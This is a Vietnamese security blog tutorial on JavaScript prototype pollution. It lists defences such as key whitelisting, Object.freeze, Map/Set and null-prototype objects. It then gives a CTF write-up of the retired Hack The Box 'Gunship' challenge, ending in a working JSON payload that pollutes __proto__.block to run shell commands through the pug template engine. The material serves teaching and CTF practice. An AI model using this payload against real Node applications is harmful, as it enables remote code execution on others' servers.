+2

Prototype Pollution attack (phần 5)

V. Một số biện pháp ngăn chặn lỗ hổng Prototype Pollution

1. Kiểm tra các giá trị property keys

Dễ dàng nhận thấy hầu hết tất cả các kỹ thuật khai thác lỗ hổng đều phải sử dụng đến property key __proto__, như vậy một cách đơn giản nhất để ngăn chặn tấn công chính là phát hiện và loại bỏ chuỗi từ khóa này. Chẳng hạn, với các ứng dụng sử dụng Nodejs, các lập trình viên có thể sử dụng các flags command-line như --disable-proto=delete hoặc --disable-proto=throw để xóa, loại bỏ hoàn toàn __proto__.

Phương thức phòng ngừa này phần nào giống với tính chất sử dụng blacklist. Kẻ tấn công hoàn toàn có thể sử dụng một "con đường" khác, chẳng hạn như constructor để bypass cơ chế này, xem thêm trong bài lab Bypassing flawed input filters for server-side prototype pollution

2. Giới hạn property keys cho phép trong whitelist

Chúng ta nên "làm chặt" hơn bằng cách chỉ cho phép giá trị property key giới hạn trong một danh sách cụ thể (whitelist). Ví dụ hàm sanitizeObject() như sau:

const whitelist = ['allowedProperty1', 'allowedProperty2']; // Danh sách các property keys cho phép

function sanitizeObject(obj) {
  const sanitizedObj = {};

  for (const key in obj) {
    if (obj.hasOwnProperty(key) && whitelist.includes(key)) {
      sanitizedObj[key] = obj[key];
    }
  }

  return sanitizedObj;
}

Trước khi sử dụng giá trị dữ liệu đầu vào từ người dùng, giai đoạn xử lý dữ liệu sẽ sử dụng hàm sanitizeObject() để lọc đối tượng và chỉ giữ lại các property key trong whitelist.

3. "Đóng băng" nguyên mẫu (Prototype Freezing)

Một ý tưởng khác nhằm ngăn chặn tấn công là không cho phép người dùng thay đổi các giá trị nguyên mẫu.

Phương thức phù hợp nhất với ý tưởng này là Object.freeze(). Sau khi khai báo đối tượng, có thể gọi phương thức Object.freeze() nhằm "đóng băng" đối tượng, khiến thuộc tính và giá trị của nó không thể bị thay đổi nữa, cũng không thể thêm mới thuộc tính nào.

const obj = {
  prop: 42
};

Object.freeze(obj);

obj.prop = 33;
// Throws an error in strict mode

console.log(obj.prop);
// Expected output: 42

Tuy nhiên, một nhược điểm rõ ràng của biện pháp này là các đối tượng trở nên "kém linh hoạt" do hầu như có thể coi là "hằng", không còn có thể thay đổi giá trị hay cập nhật thuộc tính mới. Thay vào đó, có thể sử dụng phương thức Object.seal(): vẫn cho phép thay đổi giá trị thuộc tính hiện tại nhưng không thể thêm mới thuộc tính hoặc xóa đối tượng:

const object1 = {
  property1: 42
};

Object.seal(object1);
object1.property1 = 33; // Change the value of property
console.log(object1.property1);
// Expected output: 33

delete object1.property1; // Cannot delete when sealed
console.log(object1.property1);
// Expected output: 33

4. Sử dụng đối tượng Set / Map

Nguyên nhân chủ yếu của lỗ hổng Prototype Pollution là việc các đối tượng kế thừa giá trị các thuộc tính nguyên hiểm từ nguyên mẫu. Bởi vậy, khi xây dựng ứng dụng, có thể sử dụng các loại đối tượng Set hoặc Map để thay thế cho đối tượng thông thường. Cả hai đối tượng này không kế thừa các giá trị thuộc tính từ Object.prototype mà sử dụng một cơ chế an toàn khác nhằm tìm kiếm giá trị thuộc tính.

Đối tượng Map là một cấu trúc dữ liệu trong JavaScript cho phép lưu trữ dưới dạng các cặp key:value. Đặc biệt, Map không chia sẻ bất kỳ phương thức nào với Object.prototype, dẫn đến các thuộc tính prototype pollution không thể tác động lên Map. Ví dụ:

// Tạo một đối tượng Map mới
const myMap = new Map();

// Thêm cặp key-value vào Map
myMap.set("key", "value");

// Truy cập giá trị dựa trên key
console.log(myMap.get("key")); // Output: "value"

// Kiểm tra thuộc tính prototype có bị ảnh hưởng hay không
console.log(myMap.hasOwnProperty("toString")); // Output: false

image.png

Đối tượng Set là một cấu trúc dữ liệu trong JavaScript cho phép lưu trữ các giá trị duy nhất (không có key). Tương tự như Map, Set không chia sẻ phương thức với Object.prototype, do đó, các thuộc tính prototype pollution không thể tác động lên Set. Ví dụ:

// Tạo một đối tượng Set mới
const mySet = new Set();

// Thêm giá trị vào Set
mySet.add("value1");
mySet.add("value2");

// Kiểm tra giá trị có tồn tại trong Set hay không
console.log(mySet.has("value1")); // Output: true

// Kiểm tra thuộc tính prototype có bị ảnh hưởng hay không
console.log(mySet.hasOwnProperty("toString")); // Output: false

image.png

5. Ngăn chặn kế thừa thuộc tính bằng Null prototype

Tất nhiên, không phải trong trường hợp nào các đối tượng kiểu Set hoặc Map cũng có thể đáp ứng được nhu cầu của ứng dụng. Nhiều trường hợp chúng ta bắt buộc phải khởi tạo và sử dụng các đối tượng thông thường trong chương trình. Đồng nghĩa với việc tính kế thừa prototype là bắt buộc (Tính chất của ngôn ngữ không thể thay đổi được).

Lúc này, chúng ta có thể ngăn chặn bằng cách tác động vào đối tượng sẽ được thực hiện kế thừa: Không cho phép kế thừa thuộc tính từ Object prototype - sử dụng Null prototype.

let myObject = Object.create(null);
Object.getPrototypeOf(myObject);    // null

Lúc này, đối tượng myObject sẽ không kế thừa bất kỳ thuộc tính từ Object prototype. Dễ dàng kiểm tra với đoạn code:

// Thêm thuộc tính viblo vào Object
Object.prototype.viblo = 1;

// Đối tượng thông thường vẫn kế thừa thuộc tính từ nguyên mẫu Object
let a = {};
console.log(a.viblo);

// Đối tượng Null prototype không kế thừa
let myObject = Object.create(Null);
console.log(myObject.viblo); // Output: undefined

image.png

VI. Prototype Pollution in CTF

Prototype Pollution cũng là một chủ đề khá "hot" trong các cuộc thi CTF (Capture the flag). Trong phần này tôi muốn giới thiệu tới các bạn một challenge về dạng lỗ hổng này của nền tảng Hack the box - Gunship. Tuy challenge đã quá hạn public và được đưa vào mục RETIRED nhưng các bạn có thể tải đầy đủ toàn bộ source code tại đây và dựng môi trường tại local để thử sức.

image.png

1. Dựng môi trường

Challenge có thể dựng tại local bằng Docker:

image.png

Với file build-docker.sh được cung cấp, dễ dàng dựng được challenge với một lệnh duy nhất bằng cách chạy file này:

image.png

Khi thành công, có thể truy cập challenge tại localhost port 13371337:

image.png

2. Review chức năng tổng quan

Nhìn chung, challenge chỉ có một chức năng duy nhất send đến server tên của favourite artist:

image.png

Theo dõi qua BurpSuite, reuqest được gửi đến server có phương thức POST tại endpoint /api/submit:

image.png

3. Review source code

Trong source code được cung cấp chúng ta chú ý đến file /routes/index.js:

image.png

router.post('/api/submit', (req, res) => {
    const { artist } = unflatten(req.body);

	if (artist.name.includes('Haigh') || artist.name.includes('Westaway') || artist.name.includes('Gingell')) {
		return res.json({
			'response': pug.compile('span Hello #{user}, thank you for letting us know!')({ user: 'guest' })
		});
	} else {
		return res.json({
			'response': 'Please provide us with the full name of an existing member.'
		});
	}
});

Tại route /api/submit, đối tượng artist là data chúng ta gửi lên, server kiểm tra nếu nó chứa các từ khóa như Haigh, Westaway, Gingell sẽ trả về thông báo bao gồm biến #{user} - ở đây mặc định giá trị là guest. Ngược lại chỉ trả về thông báo không hợp lệ.

image.png

Để ý rằng chúng ta được cung cấp vị trí đường dẫn của file flag nhưng trong source code không có đoạn chương trình có đưa ra điều kiện để gọi đến và in ra flag cho người chơi. Điều này chứng tỏ chúng ta cần thực hiện được RCE trang web để đọc file flag.

Kiểm tra file package.json xem phiên bản các công nghệ sử dụng:

Đồng thời, sử dụng extension Server-Side Prototype Pollution Scanner của BurpSuite kiểm tra tại endpoint /api/submit cho kết quả phỏng vấn giúp chúng ta thêm "khẳng định" challenge tồn tại lỗ hổng Prototype Pollution.

image.png

Đến đây thì ý tưởng khá rõ ràng, chúng ta sẽ đi từ lỗ hổng Prototype Pollution, khai thác dẫn đến RCE để lấy flag.

4. Xây dựng payload

Hàm unflatten() được sử dụng để "làm phẳng" một đối tượng, chẳng hạn, với đối tượng:

obj = {
    "viblo": {
        "security": "test"
    }
}

Sau khi được xử lý qua unflatten(obj) sẽ trở thành:

obj = {
    "viblo.security": "test"
}

Bởi vậy, phần data trong req.body cũng có thể mang định dạng như vậy vẫn sẽ hợp lệ:

{
    "artist": {
        "name": "Westaway"
    }
}

image.png

Để chắc chắn trang web tồn tại lỗ hổng Prototype Pollution, chúng ta có thể ghi đè thuộc tính name trong Object.prototype, lúc này, kể cả chúng ta gửi đến server đối tượng artist không chứa thuộc tính name cũng sẽ kế thừa từ Object.prototype và trả về thông báo hợp lệ.

{
    "artist": {},
    "__proto__": {
        "name": "Gingell"
    }
}

image.png

Về lỗ hổng trong pug chúng ta có thể tìm thấy payload khai thác tại https://book.hacktricks.xyz/pentesting-web/deserialization/nodejs-proto-prototype-pollution.

Trong trường hợp bạn đọc mong muốn debug và phân tích kỹ nguyên nhân dẫn đến lỗ hổng, chúng ta sẽ cần để ý hàm walkAST(ast, before, after, options) của pug, đầy đủ mã nguồn có thể xem tại link. Và đoạn code kiểm tra node.line tại link.

Cuối cùng, chúng ta thu được payload như sau:

{"artist.name":"Haigh","__proto__.block": {
	"type": "Text", 
	"line": "process.mainModule.require('child_process').execSync('$(id)')"
	}}

Lý do cần sử dụng $(id) thay vì id là bởi vì challenge này không hiển thị kết quả lệnh nên cần dựa vào thông báo lỗi đọc được kết quả lệnh thực thi:

image.png

Thông qua challenge này chúng ta có thể thấy trong các ứng dụng nên sử dụng các phiên bản mới nhất của các công nghệ, bởi các phiên bản cũ thường có nguy cơ tiềm ẩn lỗ hổng cao.

Các tài liệu tham khảo


©️ Tác giả: Lê Ngọc Hoa từ Viblo


All rights reserved

Viblo
Hãy đăng ký một tài khoản Viblo để nhận được nhiều bài viết thú vị hơn.
Đăng kí